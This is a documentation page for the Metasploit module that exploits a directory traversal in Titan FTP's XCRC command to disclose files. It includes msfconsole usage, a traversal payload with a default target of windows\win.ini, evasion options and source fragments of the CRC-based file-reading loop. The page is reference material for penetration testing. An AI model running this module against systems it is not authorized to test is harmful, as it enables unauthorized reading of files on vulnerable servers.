Titan FTP XCRC Directory Traversal Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ftp/titanftp_xcrc_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Titan FTP XCRC Directory Traversal Information Disclosure
Module: auxiliary/scanner/ftp/titanftp_xcrc_traversal
Source code: modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
Disclosure date: 2010-06-15
Last modification time: 2019-10-05 13:50:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2010-2426

This module exploits a directory traversal vulnerability in the XCRC command implemented in versions of Titan FTP up to and including 8.10.1125. By making sending multiple XCRC command, it is possible to disclose the contents of any file on the drive with a simple CRC "brute force" attack. Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP server's root directory.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ftp/titanftp_xcrc_traversal
msf auxiliary(titanftp_xcrc_traversal) > show options
    ... show and set options ...
msf auxiliary(titanftp_xcrc_traversal) > set RHOSTS ip-range
msf auxiliary(titanftp_xcrc_traversal) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(titanftp_xcrc_traversal) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(titanftp_xcrc_traversal) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(titanftp_xcrc_traversal) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/ftp/titanftp_xcrc_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ftp/titanftp_xcrc_traversal

msf6 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > show info

       Name: Titan FTP XCRC Directory Traversal Information Disclosure
     Module: auxiliary/scanner/ftp/titanftp_xcrc_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-06-15

Provided by:
  jduck <[email protected]>
  Brandon McCann @zeknox <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting      Required  Description
  ----       ---------------      --------  -----------
  FTPPASS    [email protected]  no        The password for the specified username
  FTPUSER    anonymous            no        The username to authenticate as
  PATH       windows\win.ini      yes       Path to the file to disclose, relative to the root dir.
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      21                   yes       The target port (TCP)
  THREADS    1                    yes       The number of concurrent threads (max one per host)
  TRAVERSAL  ..\..\               yes       String to traverse to the drive's root directory

Description:
  This module exploits a directory traversal vulnerability in the XCRC 
  command implemented in versions of Titan FTP up to and including 
  8.10.1125. By making sending multiple XCRC command, it is possible 
  to disclose the contents of any file on the drive with a simple CRC 
  "brute force" attack. Although the daemon runs with SYSTEM 
  privileges, access is limited to files that reside on the same drive 
  as the FTP server's root directory.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-2426
  OSVDB (65533)
  https://seclists.org/bugtraq/2010/Jun/160

Module Options


This is a complete list of options available in the scanner/ftp/titanftp_xcrc_traversal auxiliary module:

msf6 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > show options

Module options (auxiliary/scanner/ftp/titanftp_xcrc_traversal):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   FTPPASS    [email protected]  no        The password for the specified username
   FTPUSER    anonymous            no        The username to authenticate as
   PATH       windows\win.ini      yes       Path to the file to disclose, relative to the root dir.
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      21                   yes       The target port (TCP)
   THREADS    1                    yes       The number of concurrent threads (max one per host)
   TRAVERSAL  ..\..\               yes       String to traverse to the drive's root directory

Advanced Options


Here is a complete list of advanced options supported by the scanner/ftp/titanftp_xcrc_traversal auxiliary module:

msf6 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > show advanced

Module advanced options (auxiliary/scanner/ftp/titanftp_xcrc_traversal):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   FTPDEBUG             false            no        Whether or not to print verbose debug statements
   FTPTimeout           16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode          false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ftp/titanftp_xcrc_traversal module can do:

msf6 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ftp/titanftp_xcrc_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ftp/titanftp_xcrc_traversal) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to obtain file size! File probably doesn't exist.


Here is a relevant code snippet related to the "Unable to obtain file size! File probably doesn't exist." error message:

55:	
56:	    path = datastore['TRAVERSAL'] + datastore['PATH']
57:	
58:	    res = send_cmd( ['XCRC', path, "0", "9999999999"], true )
59:	    if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./)
60:	      print_error("Unable to obtain file size! File probably doesn't exist.")
61:	      return
62:	    end
63:	    file_size = $1.to_i
64:	
65:	    update_interval = 1.5

Unable to obtain XCRC of byte <OFF>!


Here is a relevant code snippet related to the "Unable to obtain XCRC of byte <OFF>!" error message:

68:	    old_crc = 0
69:	    file_data = ''
70:	    file_size.times { |off|
71:	      res = send_cmd( ['XCRC', path, "0", (off+1).to_s], true )
72:	      if not (res =~ /250 (.*)\r?\n/)
73:	        raise RuntimeError, "Unable to obtain XCRC of byte #{off}!"
74:	      end
75:	
76:	      crc = $1.to_i(16)
77:	      if (crc == 0)
78:	        raise RuntimeError, "Unable to decode CRC: #{$1}"

Unable to decode CRC


Here is a relevant code snippet related to the "Unable to decode CRC" error message:

73:	        raise RuntimeError, "Unable to obtain XCRC of byte #{off}!"
74:	      end
75:	
76:	      crc = $1.to_i(16)
77:	      if (crc == 0)
78:	        raise RuntimeError, "Unable to decode CRC: #{$1}"
79:	      end
80:	
81:	      ch = char_from_crc(crc, old_crc)
82:	      if not (ch)
83:	        raise RuntimeError, ("Unable to find a CRC match for 0x%x" % crc)

Unable to find a CRC match for 0x%x


Here is a relevant code snippet related to the "Unable to find a CRC match for 0x%x" error message:

78:	        raise RuntimeError, "Unable to decode CRC: #{$1}"
79:	      end
80:	
81:	      ch = char_from_crc(crc, old_crc)
82:	      if not (ch)
83:	        raise RuntimeError, ("Unable to find a CRC match for 0x%x" % crc)
84:	      end
85:	
86:	      # got this byte ;)
87:	      file_data << ch
88:	      old_crc = crc

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • jduck
  • Brandon McCann @zeknox <bmccann[at]accuvant.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.